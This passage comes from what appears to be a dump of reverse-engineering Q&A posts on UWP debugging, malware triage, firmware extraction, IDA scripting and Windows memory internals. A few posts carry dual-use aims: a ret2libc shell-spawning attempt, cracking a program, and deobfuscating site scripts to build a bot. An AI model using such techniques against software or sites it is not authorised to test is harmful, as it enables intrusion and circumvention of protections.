a standalone exe. +It was only until I couldn't launch the exe on it's own that I realised it's a UWP app which means I couldn't do my go-to debugging it in IDA. +(Just to mention now, I noticed that sticky notes always has two processes running - ApplicationFrameHost which I assume is the main sticky notes window and another process which I assume is the actual open sticky notes. All the methods I've tried, I've tried on both processes to be certain.) +I started by opening sticky notes in IDA and trying to use the debugger, but as mentioned, that didn't get me too far so I opened it up in Binary Ninja instead, just to explore a bit. I didn't know what to look for, so I didn't find much. However, BN did show a lot of strings except apparently they aren't used anywhere in the program. Things like: +
BCreateStickyNoteViaJumplistAction - "Jumplist" is also in the name of the plus icon used as the button - C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_3.8.8.0_x64__8wekyb3d8bbwe\Assets\JumpListNewNote.png`
+CreateNewNote .... WithNewStickyNote
+TryGet_ViewState_IsSticky
+
+and lots of what looks like C# code. But as I mentioned, BN showed no references to these (and other) strings and as I'll mention later, the strings in x64dbg all seemed "encoded" so I never found a use for these anyway. +Next I think I tried out WinDBG (preview). I tried first by just attaching it to the running sticky notes process (and then launching the app using the launch app package) but I wasn't able to do anything with that. It just told me the DLL's that were being loaded, including the ones missing which means I couldn't launch the exe directly, like: +
C:\Program Files\WindowsApps\Microsoft.NET.Native.Runtime.2.2_2.2.28604.0_x64__8wekyb3d8bbwe\mrt100_app.dll
+C:\Program Files\WindowsApps\Microsoft.NET.Native.Framework.2.2_2.2.29512.0_x64__8wekyb3d8bbwe\SharedLibrary.dll
+
+Maybe it's possible to somehow point the exe to these DLL so I could launch it via IDA but I think it's a stretch. +I did a few other small things here and there like ollydbg and PE Disassembler viewer but they are not of significance. +The thing I have been trying the most is x64dbg. On my own, I didn't really get anything done; I didn't find anything related to buttons or their handler's. So I tried googling to see if someone else had tried reverse engineering a UWP and came across this. I gave the second answer a go, since it was quicker to do at the time. However, when you click to open a new note, no new DLL's will be loaded so I couldn't use that. I tried also breaking when a new thread is created which did cause it to stop execution when I created a new note but I don't think each new note is its own thread, I think that was just some other internal Windows thing. +The reason I didn't try the first answer is that they hook into CreateFileW from KernelBase.dll to "redirect" the resources accessed, since it loads a new DLL when Restart now is pressed, but again, in my situation, nothing new is loaded when a new note is created. +I did also try EventHook and just using GetProcessById to get the sticky notes process but that doesn't really expose much. +I feel like I have what I need to do this, I just don't quite know how. If anyone could point me in the right direction I'd really appreciate it. +" +"['malware', 'pe32']"," Title: Analyzing a possibly malware sampleBody: I am trying to analyze a possible malicious sample. It's a windows executable
+
e3f04124e2e26f8f030f6845086875a9
+Md5sum
+Intel 386 or later processors and compatible processors
+
+File 2464.exe
+2464.exe: PE32 executable (console) Intel 80386, for MS Windows
+
+
+https://tinyurl.com/4k962erx +
It showed some data like
+1. unusual section name "".leopard"" +2. Raw size of "".bss"" is zero +3. Found VM detection artifact ""RDTSCP trick"" +I am how having a unusual section name .leopard is a trouble and how .bss of size zero is a sign of
+malicious activity. Also what is RDTSCP trick and are there any other ways I could analyze the
+sample +" +"['firmware', 'hardware', 'jtag']"," Title: How do I extract the firmware from this bluetooth speaker board?Body: I have a bluetooth speaker. Infinity Fuze 100. +It's a good speaker. +But it has annoying messages on startup and shutdown. And for other interface events. I'd like to either get rid of them entirely, or replace them with simple beeps, instead of wordy messages. +I'm confident if I can get the firmware binary I should be able to patch it the way I want. I do have experience reversing software successfully. +This is my first attempt at hardware hacking however and I'm a bit stuck. +What I've tried so far: +1 - Looked up online if this speaker has a service mode. So I could just connect it via usb, set it to service mode and read/write firmware. Some speakers do have this. According to its manual, this speaker doesnt seem to. +2 - I tried holding down various button combinations hoping some combo will put it into a service mode that may be undocumented in the manual. Din't work. +3 - Read online maybe I need to manually get at the firmware using something called JTAG, so I opened up the speaker and took out the board to inspect it. Here are its front and back: + + +4 - I can't see an obvious JTAG interface. So I looked up the data sheet for the main chip : ATS2815, which seems to be a fully integrated blue tooth audio chip. + +Even though I looked at its pin layout, I can't figure out if JTAG is present? +5 - I also looked up the chip XT25F08B, and that seems to be a NOR flash memory. +Here is the data sheet. +What I'm wondering is: + +Maybe all this is entirely the wrong approach, and there is another way to get at the firmware? +" +"['ida', 'ghidra', 'elf', 'symbols', 'objdump']"," Title: Tool/parser for symbol tables produced with objdump -t to be used with IDA / Ghidra?Body: Working with a binary (arm64) file that seems to be some sort of a broken ELF file. The header data is missing and for some reason it contains a symbol table in a format that to me seem to be equal to the output when running objdump -t <filename.elf> on a valid ELF, concatenated after all the code. +(To avoid misunderstandings; if I run mentioned command on a different, valid ELF, I get a symbol table output in the format below, and it's a symbol table in this format that I find inside the broken ELF.) +However, neither IDA pro nor Ghidra manage to utilize this information, so for now the only way I've managed to use some of this to my advantage is to write a (IDA)python script and parse it "manually" to add functions, function names, etc based on the content of the symbol table. +This procedure works to some extent but it's not that great (probably due to my limited experience with writing good IDA-python parsers). It got me wondering if there maybe exist some other tool for this already? +I'm not very experienced with IDA or Ghidra, so it could be one/both of them have a feature to load symbol tables in this format, but if so, I've overlooked that at least. +Here's a small excerpt from the symbol-table data included in the broken ELF (just changed some of the names). As mentioned, the format is equal to what you get when running objdump -t randomfile.elf > table.txt on a valid ELF file. +
randomfile.elf:     file format elf64-littleaarch64
+
+SYMBOL TABLE:
+0000000010c00000 l    d  .text  0000000000000000 .text
+0000000010e2a550 l    d  __ex_table 0000000000000000 __ex_table
+0000000010e2a570 l    d  .text.unlikely 0000000000000000 .text.unlikely
+0000000010e2a5a0 l    d  .data  0000000000000000 .data
+0000000010ebf380 l    d  .got.plt   0000000000000000 .got.plt
+0000000010ebf398 l    d  .module    0000000000000000 .module
+0000000010ebf740 l    d  .bss   0000000000000000 .bss
+0000000000000000 l    d  .debug_info    0000000000000000 .debug_info
+0000000000000000 l    d  .debug_abbrev  0000000000000000 .debug_abbrev
+0000000000000000 l    d  .debug_loc 0000000000000000 .debug_loc
+0000000000000000 l    d  .debug_aranges 0000000000000000 .debug_aranges
+0000000000000000 l    d  .debug_line    0000000000000000 .debug_line
+0000000000000000 l    d  .debug_str 0000000000000000 .debug_str
+0000000000000000 l    d  .comment   0000000000000000 .comment
+0000000000000000 l    d  .debug_frame   0000000000000000 .debug_frame
+0000000000000000 l    d  .debug_ranges  0000000000000000 .debug_ranges
+0000000000000000 l    df *ABS*  0000000000000000 init.o
+0000000000002000 l       *ABS*  0000000000000000 STACK_SIZE
+0000000010c00034 l       .text  0000000000000000 init_start
+0000000010c00024 l       .text  0000000000000000 fw_magic
+0000000010c00328 l       .text  0000000000000000 feature_init
+0000000010c00370 l       .text  0000000000000000 subfeature_init
+0000000010c001d4 l       .text  0000000000000000 twee_init
+.
+.
+.
+0000000010d541a0 g     F .text  0000000000000004 memset
+0000000010e5e510 g     O .data  0000000000000080 acFont_ASCII
+0000000010c2bd5c g     F .text  0000000000000004 get_curve
+0000000010c29d24 g     F .text  0000000000000118 inject_mem
+
+Based on an older version of the ELF file that I found, which contains both headers and a "proper" symbol table (proper as in I can run objdump, readelf etc on the file without errors), I've started on "reconstructing" a header for the broken ELF - basically copying the header from the older ELF version and adjusting the load address, etc. It's far from 100% correct, but it seems to make things a bit easier for me since IDA pro is analyzing the file automatically. Ghidra, on the other hand, doesn't manage to load the ELF at all if I include my partial ELF-header. +If I also could either load the symbol table from the broken ELF - as is - in IDA with some feature, that'd be great. Even better if there is a way to incorporate the symbol table in some other format into the ELF so that IDA/Ghidra automatically manage to use this information while analyzing. +Might be this is a far fetched dream, but worth a shot. For all I know there could be some existing feature for this. +" +"['arm', 'class-reconstruction']"," Title: Reverse Engineering Classes in ARMBody: I came across this part in the book Reverse Engineering For Beginners book by Denis Yurichev. It writes about reverse engineering Classes in C++, but it doesn't provide any examples in ARM. +Page 546 +
_this$ = -4
+; size = 4
+??0c@@QAE@XZ PROC ; c::c, COMDAT
+; _this$ = ecx
+push ebp
+mov ebp, esp
+push ecx
+mov DWORD PTR _this$[ebp], ecx
+mov eax, DWORD PTR _this$[ebp]
+mov DWORD PTR [eax], 667
+mov ecx, DWORD PTR _this$[ebp]
+mov DWORD PTR [ecx+4], 999
+mov eax, DWORD PTR _this$[ebp]
+mov esp, ebp
+pop ebp
+ret 0
+??0c@@QAE@XZ ENDP ; c::c
+_this$ = -4 ; size = 4
+_a$ = 8
+; size = 4
+_b$ = 12
+; size = 4
+??0c@@QAE@HH@Z PROC ; c::c, COMDAT
+; _this$ = ecx
+push ebp
+mov ebp, esp
+push ecx
+mov DWORD PTR _this$[ebp], ecx
+mov eax, DWORD PTR _this$[ebp]
+mov ecx, DWORD PTR _a$[ebp]
+mov DWORD PTR [eax], ecx
+mov edx, DWORD PTR _this$[ebp]
+mov eax, DWORD PTR _b$[ebp]
+mov DWORD PTR [edx+4], eax
+mov eax, DWORD PTR _this$[ebp]
+mov esp, ebp
+pop ebp
+ret 8
+??0c@@QAE@HH@Z ENDP ; c::c
+
+As you can see ECX is used to hold the pointer of this for accessing the members of the class. How is this done in ARM assembly? +" +"['disassembly', 'obfuscation', 'deobfuscation']"," Title: devirtualize? or what is this obfuscator? and how to get rid of thisBody: +from previous question i still dont get any info or any process at all... now i asking again with this question is this virtualize code or something? i try many thing and it still didnt work [i unpack this dll from enigma virtual box] +hope someone can guide me from this thing thank you +
+Update +for someone who still checking this thread +the problem is DLL itself that get obfuscate,the unpack is not hard and this is not il2 file [this is pc desktop game] this obfuscate is undetect even by DIE [my guess is the author just rename the obfuscate that make deobfuscate program like de4dot unable to deobfus ] +and idk how to rename it back because all of the methods are unreadble just like my image post +so im still stuck with this... and i am so busy im sorry if someone who have the same problem didnt get much info except how to unpack [my guess that the author rename the obfuscate because the EVB that the author use also rename it with something else that make DIE undetect packer] +" +['file-format']," Title: reversing an HDL fileBody: I was given an HDL file with the following content: +
+ CHIP Box { ! IN in[128]; ! OUT out[128]; ! ! PARTS: ! Xor(a=in[0..31], b=in[96..127], out=red); ! Xor(a=in[32..63], b=in[64..95], out=king); ! Xor(a=in[64..95], b=in[96..127], out=dave); ! Concat(a=in[0..31], b=dave, c=red, d=king, out=ayk); ! Switch(a=ayk[3..6], b=ayk[19..22]); ! Switch(a=ayk[54..61], b=ayk[32..39]); ! Switch(a=ayk[63..70], b=ayk[120..127]); ! Switch(a=ayk[95..98], b=ayk[81..84]); ! Xor(a=ayk[0..31], b=ayk[64..95], out=earl); ! Xor(a=ayk[64..95], b=ayk[96..127], out=cosmo); ! Xor(a=ayk[32..63], b=ayk[96..127], out=abbott); ! Concat(a=abbott, b=comso, c=ayk[0..31], d=earl, out=phoenix); ! Reverse(in=phoenix, out=out); } +
+i was asked to reverse it and retrieve the value of in , how can i do it please knowing that i have the value of out? thanks +" +"['deobfuscation', 'javascript']"," Title: How to clean obfuscated code from fake if statements?Body: I am trying to deobfuscate javascript code. Firstly I extracted strings from big array. Then I saw many parts like this + +There is only one line of code which makes sense. Is there any Node.js cleaner package exists? +" +"['idapython', 'arm', 'automation']"," Title: IDApython - Turning a modified operand into a string referenceBody: I am working on an IDAPython script that is supposed to fix the disassembly of a firmware, by resolving it's symbol table. +The core of the script is working fine, but I have some issue when it comes to editing the way IDA is displaying stuff in the disassembly panel. +The idea is the following: +I have an original instruction like: +
LDR          R1,=0xAAAAAAAA
+
+After the execution of my script, the offset 0xAAAAAAAA is resolved into it's current value, let's say 0xBBBBBBBB, and it adds a comment next to the original instruction: +
LDR          R1,=0xAAAAAAAA ; symbol_address=0xBBBBBBBB, symbol_value='DummyString'
+
+But since I'm only adding a comment, I'm loosing the xRefs to and from the strings. +What i want to achieve is to edit the instruction itself, so IDA can create the xRefs to the Strings. Something like: +
LDR          R1,=aDummyString 
+
+I used this snippet to edit the operand address, which is working: +
create_strlit(resolved_addr, 0, STRTYPE_C) # Defined the resolved string's addr as a proper string
+new_inst = original_ins.replace(hex(original_addr), hex(resolved_addr))  # Simplified for clarity
+set_manual_insn(addr, new_inst)            # Edit the instruction with the new resolved addr
+
+But my disassembly view does not make the link between the address and the string itself. +
LDR          R1,=0xBBBBBBBB
+
+When i hover my cursor on 0xBBBBBBBB, i can see the correct string; When I click on this address, IDA takes me to the string's location. But it has not created any proper xRefs, and the display does not inform me that this is a string location. +I tried theses functions to turn the operand into a string reference, but without success: +
op_plain_offset(addr, 1, 0)
+op_offset(addr, 1, REF_OFF32)    # I also tried REF_OFF8 and REF_OFF16, just in case
+
+But it does not update the disassembly view as I want. +And when i try to do it by hand by doing "right click" -> "Enter the current operand manually", it works fine :/ +Any suggestion how to do that ? +Thanks +" +"['ida', 'disassembly', 'arm', 'binary']"," Title: Loading a U-Boot ARM flash image into IDA ProBody: I have a U-Boot image file which was extracted from flash memory of a board with an Hi3520D ARM CPU. I would like to load this file into IDA Pro and dig out the password that is required for accessing the U-Boot shell so that I could flash a modified firmware back onto the board. +The problem is that I don't know how to find out the values that IDA needs in the "Disassembly memory organization" window. I have used IDA before with normal x86 and ARM executables but binary files are new to me in this context so guidance would be greatly appreciated. +Here is the file if it helps: dropbox link +This is mostly a learning project so as much detail as possible would be good. +" +"['binary-analysis', 'firmware', 'binwalk']"," Title: Nokia 105(TA-1114) Firmware analysis using BinwalkBody: First please forgive me if a make any mistake. i am not a primarily English speaker but I will try my best. +Few days ago i started to tinkering with Nokia feature phone Nokia 105(TA-1114). I get a firmware Dump by using Miracle Box. It gave me .Bin file. with size some other files. AT this point my primary goal was extract famous Snake game From firmware and flash it to other phone(cheap Chinese type, I have few lying around) with same processor i thought it would be easy(like i do do with android phone) +it was not easy to find something useful about this phone. After looking at hardware I realized there is MediaTek MT6261DA processor inside this Phone, after googling and getting datasheet I have theses information: +it is based on the 32-bit ARM7EJ-STM RISC processor, with build in gsm, gprs class 12 modem. with support for many peripherals like battery charging, keyboard scanning, camera and LCD interface literally everything you need to build a phone inside a single chip(quite amazing right?). +Now back to firmware : +I used binwalk to quickly analyze firmware it showed nothing result was empty. then i googled around this CPU which got me 2015 form mentioning about MediaTek proprietary compression method called Viva. +now firmware contain 4 files. +
    +
  1. ROM file called VIVA.
  2. +
  3. jump table
  4. +
  5. language pack
  6. +
  7. and another ROM file.
  8. +
+All these files have a header starting with +
+00000000: 4D 4D 4D 01-38 00 00 00-46 49 4C 45-5F 49 4E 46 4F +ASCII: MMM 8 FILE_INFO +
+one thing more came up with this MediaTek processor, a open source firmware that was used to reverse engineer cheap Chinese smart watches with same type of CPU's. +Fernvale research OS +Now here is my Question +
    +
  1. do i have any chance in extracting resources from original firmware files?
  2. +
  3. What is this "Viva compression(or something else)"?
  4. +
  5. does anyone have some experience with reverse engineering MediaTek +firmware(not android)?
  6. +
  7. what else i can do in order to get something use full.?
  8. +
+please correct me if I am doing something wrong while writing this post. it is my first post here. +and keep it in consider that computer science is not my primary field(i am Master at zoology). i am doing this just for learning something and of course due to curiosity. i can provide files if anyone requests +thanks +" +"['static-analysis', 'mips']"," Title: Can you strip a mips64 object file?Body: -strip doesn’t know what this file is but read elf and objdump recognize it read elf gives entry and all the headers. I’m trying to find main() or the start function. Can I strip the file? Do I need to? Using ghidra as well and searching for it reveals nothing so maybe it’s hidden? Entry is 0x0 +" +"['intel', 'bios', 'spi', 'uefi']"," Title: Where is the legacy BIOS stored on a UEFI system?Body: Where is the legacy BIOS (the 16 bit reset code that jumps to the POST entry point at F000:E05B and indeed POST itself and all the BIOS routines) originally stored on a UEFI system before it's shadowed to 0xF0000? And the embedded option ROMs before they're shadowed to 0xC0000? And what shadows the legacy BIOS to 0xF000: ME, the Startup ACM, SEC or the legacy BIOS itself? +It doesn't appear to be in the SPI flash BIOS region (I've searched byte sequences in the dump on IDA). I thought it might be on the LPC or EC flash but my laptop doesn't appear to have one (and neither does my flash descriptor show an EC region so don't ask me where the EC ROM is stored either, but it's supposed to be on the SPI flash, and the schematic doesn't appear to show it having a private SPI flash, but it must do; maybe that's where the legacy BIOS is?); plus it looks like you can only configure the PCH to send all BIOS ranges to either LPC/eSPI or SPI and not 0xF0000 to one and 0xFFFF0000 to another. My laptop is booted into legacy BIOS and has EA at 0xFFFF0 (so obviously a legacy BIOS shadow) and 90 90 E9 at 0xFFFFFFF0. I can't find anything on this and I've been searching all sorts of combinations on verbatim search for hours, hundreds of manuals, UEFI papers, specifications, and not one mentions it. +" +['ida']," Title: Automated data tracking during runtime in IDA PROBody: What I mean specifically is that I want to turn a certain piece of memory into a virus that will attach itself to anything that has anything to do with it. For example: +
call sub_404505
+; Lets say that sub_404505 returns a 32-bit integer in EAX register
+; Here, I want to turn the EAX register into a virus
+mov [esp + 0x?? + var_14], eax
+mov some_global_offset, eax
+; Here, I want this virus to extend to some_global_offset and var_14 stack address
+; Later, if any read/write intructions has any reference to these addresses, I want IDA PRO to dump the intructions as well as the address of the intructions to output window
+; This virus will remain in place until the value is reset, for example:
+xor eax, eax
+
+Is it possible to do something like this in IDA PRO, Windows 10? +" +"['firmware', 'linux']"," Title: Replacing firmware, Longshine ShinebookBody: Am wondering how to replace the firmware on a Longshine Shinebook (manual, firmware, more stuff). + +Assuming I modify the firmware files, how do I put the new version on the device? I'm guessing there is some standard method for triggering the update. +" +['gdb']," Title: /bin/sh shell not execute when performing ret2libc attackBody: I have attempted to do a ret2libc attack. It's a simple buffer overflow with the return address pointed to the system call with the string "/bin/sh" on the stack. For some reason, when I try to execute the program, although the program perform a system call with string "/bin/sh", but no shell was spawned, and I'm not sure why that is the case. Below snapshots of the stack before and after entering system call. +The stack before entering system call. (From left to right) red underlines emphasize the address of the system call, the address of the exit() function call, and the address to the string "/bin/sh". Note: the ebp (starts at 0xbffff7b8) had been overwritten with junk data. +Here is what happen after I attempted to step through each instructions and reach the end. I try to type in id, and whoami, but nothing happen. +" +['x64dbg']," Title: Can't find strings on x64 dbgBody: I can't find strings from message boxes. +Questions: +
    +
  1. How do i find the strings?
  2. +
  3. What are these strange symbols? +
  4. +
  5. Is it possible to transform them into readable ones? how?
  6. +
+Detailed information: +
    +
  1. I open the exe file on exeinfoPE (see picture). +
  2. +
  3. x64dbg don't show error messages from textboxes when i search them into strings. + + +
  4. +
  5. ResourceHacker don't show tables (just informing). +
  6. +
+Purposes and other: +
    +
  1. I am trying to crack this program.
  2. +
  3. I'm newbie in this journey - like 1 week, not much progress.
  4. +
+" +"['windows', 'windbg', 'pages']"," Title: Whats the difference between a MiNotMapped PFN entry with all 1s, and a MiNonCached PFN entry with all 0s and a 0 PteAddress?Body: On host (UEFI legacy mode): +
lkd> !pfn 0xf0
+    PFN 000000F0 at address FFFFFA8000002D00
+    flink       FFFFFFFFFFFFFFFF  blink / share count FFFFFFFFFFFFFFFF  pteaddress FFFFFFFFFFFFFFFF
+    reference count FFFF    used entry count  FFFF      NotMapped color 3F   Priority 7
+    restore pte FFFFFFFFFFFFFFFF  containing page        FFFFFFFFFFFFF  Trans      MPRWEXY
+    Modified Shared ReadInProgress WriteInProgress InPageError ParityError RemovalRequested
+
+On VM (legacy BIOS): +
kd> !pfn 0xf0
+    PFN 000000F0 at address FFFFFA8000002D00
+    flink       00000000  blink / share count 00000000  pteaddress 00000000
+    reference count 0000    used entry count  0000      NonCached color 0   Priority 0
+    restore pte 00000000  containing page        000000  Zeroed                            
+
+For the record !db 0xf0000 works correctly on both machines, and the PFN entry is the same before and after the momentary mapping performed by !db on both machines. Could the first one be a stupid kd -kl / livekd issue again? +Curious. I thought it could be that 0xf0 has never been mapped as opposed to mapped then unmapped, and for some reason left as MiNonCached and not MiNotMapped (and it may or may not return it to MiNotMapped when unmapping a cached area, but I don't know). I would have thought that this range would never have been mapped on ntoskrnl because it's not supposed to be using BIOS services. +On the host: +
lkd> !pfn 0xf1
+    PFN 000000F1 at address FFFFFA8000002D30
+    flink       FFFFFFFFFFFFFFFF  blink / share count FFFFFFFFFFFFFFFF  pteaddress B47756FFFFE9FFFF
+    reference count 517C    used entry count  B4E9      Cached    color 2D   Priority 7
+    restore pte FFFFFFFFFFFFFFFF  containing page        756FFFFE9FFFF  Bad           WEXY
+          WriteInProgress InPageError ParityError RemovalRequested
+
+This time it's 'Cached', and clearly contains garbage, so the MiNotMapped part of the question may be irrelevant, and should have perhaps been whats the difference between a garbage PFN entry and a zero intialised one? +" +"['windows', 'kernel', 'pages']"," Title: On Windows, when is a PTE a VAD prototype PTE (with address 0xFFFFFFFF0000) instead of a prototype-pointer PTE?Body: I have reviewed several sources on this PTE type, including Windows internals and the following: +http://blog.rekall-forensic.com/2014/10/windows-virtual-address-translation-and.html https://thalium.github.io/blog/posts/windows-full-memory-introspection-with-icebox/ https://cyberforensicator.com/wp-content/uploads/2017/08/Scanning-memory-with-Yara.pdf https://www.sciencedirect.com/science/article/pii/S1742287619301574 +None of them explain when a PTE is actually of the VAD prototype format. +Seeing as PPTEs are created when the section object is created for images, and for data files the PPTEs are created when the view is mapped (which is when the VAD entry is created) [1], I can't see a case where the PTEs in the VAD allocation would ever not be able to point directly to the prototype PTEs. +If the PPTEs weren't created once the view is mapped, it would make sense to be a VAD type, because there is no PPTE virtual address to point to, but this is not the case. From now on, there is always a PPTE virtual address to point to. The PPTE itself will point to a subsection object (_MMPTE_SUBSECTION format) in the event that it is a file-backed and not in RAM, and point to a pagefile location if it is pagefile-backed and not in RAM. +I did some further investigation and noticed that the VAD prototype PTEs were all on mapped files, and mapped images had regular prototype pointer PTEs (which is strange because PPTEs are available when you map a view in the VAD in the case of data, and when the section object is created in the case of image, which is before the mapping of the view in the VAD). Also something strange I noticed is that CoW PTEs are blank when they are not pointing to a page in the file, as opposed to pointing to the PPTE. They need to point to a page in the file when they are read and before any writes occur. I'd like that to also be answered. +I have seen a case where more space has been reserved for a data file than the size of the file -- on VMMap it shows 16KiB committed and 512KiB reserved. The committed PTEs are VAD prototypes and the reserved ones are blank (unknown PTEs) +I previously asked this on SO, but obviously nobody replied, so I'm moving it to the correct forum. Before anyone tells me I should have debugged it before asking, this question will be number 1 in the search for 'VAD prototype PTE' and '0xFFFFFFFF0000' and so on, and people will be looking it up when those sources don't elaborate. There is no googlable information on this detail written in a human language, and I know I spent a good few hours on advanced and verbatim search, and it's a fundamental piece of information for people to know. +" +"['ida', 'debugging', 'dll', 'windbg', 'libraries']"," Title: Why rundll32.exe could be loading a DLL multiple times?Body: Since I started reverse engineering I've found multiple DLLs that when being debugged(IDA + WindDBG) would be unloaded and reloaded continuously without any evident reason. +Most of the time I use rundll32.exe to load and debug any DLL and I just get this behavior with a few binaries. +The current lib I am debugging is quite simple, most of the logic of the program is executed by a thread created at the DLL's entry point. Then, its single export(DllRegisterServer) has a loop which checks if a flag has been set to finally call ExitProcess. +When I enter the main's logic thread I suspend any other thread and single step through it as always. As I go, randomly the DLL is unloaded, reloaded, and the dbg sets me again at DllEntryPoint, which makes the RE job quite annoying. +What could be the reason for that behavior? +Edit: Within x64dbg this does not happen. Same file, same command line. +" +"['deobfuscation', 'javascript']"," Title: Any good places to learn about JS de-obfuscation?Body: I am trying to make a bot on a specific website, so I have to reverse a lot of JS scripts. The reversing it self is not that hard but the de-obfuscation is. Lots of the scripts are obfuscated with things like JScrambler. I see people able to de-obfuscate JScrambler but for me it is very difficult. So I wanted to know if there was any place I could learn about JS de-obfuscation. +" +"['disassembly', 'x86']"," Title: A question about moving data with LEA and MOVBody: +Given the above code, i am struggling to understand what happens in line 5 and 6 +As i understand it, in line 5 the Adress of the ESP is loaded into the EAX register. While there may be the value 4 stored at ESP at that point, the adress is not known. So given this uncertainty, how can we know in line 6 what the value of EAX is, if we do not know the adress of ESP in Line 5? +" +"['decompress', 'binary-format']"," Title: Has anyone encountered PNGs where the chunk data is encrypted/compressed?Body: I've come across some files which are used in a car's satellite navigation system. Looking at the files in a hex editor shows the ‰PNG signature, but the chunks do not follow the format spec - for example: +
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
+
+00000000  05 00 10 00 43 50 52 4E 41 56 5F 32 36 02 00 00  ....CPRNAV_26...
+00000010  03 00 01 00 1C 00 00 00 08 01 00 00 4B 00 CA 3D  ............K.Ê=
+00000020  FC 06 35 54 38 25 56 C8 1F 50 E9 06 04 58 85 5E  ü.5T8%VÈ.Pé..X…^
+00000030  8C 91 E1 AD 84 DF 60 49 FC 01 61 FF 47 A9 D5 6A  Œ‘á.„ß`Iü.aÿG©Õj
+00000040  B5 B2 06 48 65 0D D0 FA BE C3 D3 0E A1 EF 3B BC  µ².He.Ðú¾ÃÓ.¡ï;¼
+00000050  EF F0 BE C3 73 0E A1 EF 3B BC EF F0 BE C3 73 0E  ïð¾Ãs.¡ï;¼ïð¾Ãs.
+00000060  A1 DB E1 0F 58 E4 3E 89 50 4E 47 0D 0A 1A 0A 00  ¡Ûá.Xä>‰PNG.....  // PNG begins here
+00000070  00 00 0D 49 48 44 52 F0 E0 08 02 B2 E1 7C 5E 00  ...IHDRðà..²á|^.  // IHDR chunk indicated as 13 (0x0D) bytes, yet this is clearly not the case
+00000080  01 73 52 47 42 00 AE CE 1C E9 06 62 4B 47 44 00  .sRGB.®Î.é.bKGD.
+00000090  FF A0 BD A7 93 09 70 48 59 73 0B 11 01 7F 64 5F  ÿ ½§“.pHYs....d_
+000000A0  91 07 74 49 4D 45 07 E0 02 18 07 12 13 CC F8 BA  ‘.tIME.à.....Ìøº
+000000B0  BA B6 49 44 41 54 78 DA ED D2 C1 0D 04 00 31 C4  º¶IDATxÚíÒÁ...1Ä
+000000C0  FE 2B 33 83 AF B4 23 5C 2E A7 27 E0 8B 92 00 43  þ+3ƒ¯´#\.§'à‹’.C
+000000D0  83 A1 C1 D0 60 68 0C 0D 86 06 43 83 A1 C1 D0 18  ƒ¡ÁÐ`h..†.Cƒ¡ÁÐ.
+000000E0  1A 0C 0D 86 06 31 34 18 1A 63 68 30 34 C6 30 8D  ...†.14..ch04Æ0.
+000000F0  60 86 AB 05 8F 4F 03 C2 58 19 85 B6 00 49 45 4E  `†«..O.ÂX.…¶.IEN
+00000100  44 AE 42 60 82 00 00 00                          D®B`‚...
+As you can see, several standard PNG chunk names are present (sRGB, bKGD, IDAT, etc.) however the data between them appears to be compressed/encrypted. +My observations so far: + +
+Update 2: I've created a GitHub repository with my progress so far, for anyone who's willing to take a look. +Update 1: After digging around, I've managed to find a copy of the firmware with the symbols included (available here: https://www.mediafire.com/file/a0u7k2m87aj1jp6/Files.zip/file) and I'm pretty sure I've located the correct function for decompressing the files: cpr_tclDecompressAlgorithm::bDecompressData. +Unfortunately, I'm not able to make a great deal of sense of it, but what I can see from the symbols is that: + +I will post IDA's pseudocode of the function below, but I'm not expecting anyone to spend a great deal of time on this - I just wondered if anyone can recognise what's happening here, e.g. Huffman, LZSS, etc. +
int __fastcall cpr_tclDecompressAlgorithm::bDecompressData(int a1, int a2, int a3, size_t a4, unsigned int a5, int a6)
+{
+  int v7; // r8
+  unsigned int v10; // r5
+  int v11; // r9
+  void *v12; // r0
+  unsigned int v13; // r8
+  unsigned int v14; // r0
+  const cpr_tclCodeTable *CodeTable; // r11
+  unsigned int v16; // r6
+  unsigned int v17; // r7
+  unsigned int v18; // r0
+  int v19; // r0
+  int v20; // r2
+  int v21; // r3
+  int v22; // r5
+  int v23; // r0
+  int v24; // r7
+  unsigned int v25; // r1
+  int v26; // r3
+  _BYTE *v27; // r0
+  size_t v28; // r6
+  __int16 v29; // r12
+  int v30; // r2
+  int v31; // r5
+  int v32; // r0
+  unsigned int v33; // r10
+  int v34; // r3
+  _BYTE *v35; // r1
+  int v36; // r0
+  unsigned int v37; // r12
+  int v38; // r3
+  void *v39; // r0
+  size_t v40; // r5
+  int v41; // r2
+  int result; // r0
+  int v43; // r3
+  int v44; // r2
+  _BYTE *v45; // r2
+  int v46; // r0
+  int v47; // r3
+  _BOOL4 v48; // r3
+  int v49; // r0
+
+  *(_DWORD *)(a1 + 16) = a4;
+  v7 = a2 & 3;
+  *(_DWORD *)(a1 + 12) = a3;
+  *(_DWORD *)(a1 + 4) = a2;
+  *(_DWORD *)(a1 + 8) = a2;
+  if ( (a2 & 3) != 0 )
+  {
+    v49 = trc_szGetFileName(
+            "/opt/bosch/DI_SWNAVI_13.2C5P10/di_swnavi/components/dapi/devicemanager/devicehandler/compression/cpr_decompression.cpp");
+    trc_tclGlobalTrace::vTraceLevel1(21504, 332, v49, "CPR read access to unaligned adress 0x%x", a2);
+    return 0;
+  }
+  cpr_tclDecompressAlgorithm::vInterpreteHeader((cpr_tclDecompressAlgorithm *)a1, a5);
+  v10 = a5 - *(_DWORD *)(a1 + 48);
+  if ( a4 < a5 )
+  {
+    if ( a4 <= v10 )
+    {
+      *(_DWORD *)(a1 + 48) = v7;
+      v10 = a4;
+      v11 = 1;
+      goto LABEL_7;
+    }
+    *(_DWORD *)(a1 + 48) = a4 - v10;
+  }
+  v11 = v7;
+LABEL_7:
+  v12 = *(void **)(a1 + 12);
+  v13 = (unsigned int)v12 + v10;
+  if ( !v10 )
+    goto LABEL_34;
+  if ( a6 == 3 )
+  {
+    v14 = cpr_tclDecompressAlgorithm::u32GetNextBits((cpr_tclDecompressAlgorithm *)a1, 0x20u);
+    CodeTable = (const cpr_tclCodeTable *)(*(_DWORD *)a1 + 44 * (v14 & 3));
+    v16 = v14 >> 2;
+    v17 = 2;
+    cpr_tclDecompressAlgorithm::vInit((cpr_tclDecompressAlgorithm *)a1, CodeTable);
+    while ( 1 )
+    {
+      while ( 1 )
+      {
+        if ( *(_DWORD *)(a1 + 12) >= v13 )
+          goto LABEL_34;
+        v18 = cpr_tclCodeTable::iu32SearchIndexOfCode(CodeTable, v16);
+        v19 = cpr_tclCodeTable::corfoGetCodeEntry(CodeTable, v18);
+        v20 = *(_DWORD *)(v19 + 12);
+        v21 = *(unsigned __int8 *)(v19 + 16);
+        v22 = v19;
+        v17 += v21;
+        v16 >>= v21;
+        if ( v20 != 3 )
+          break;
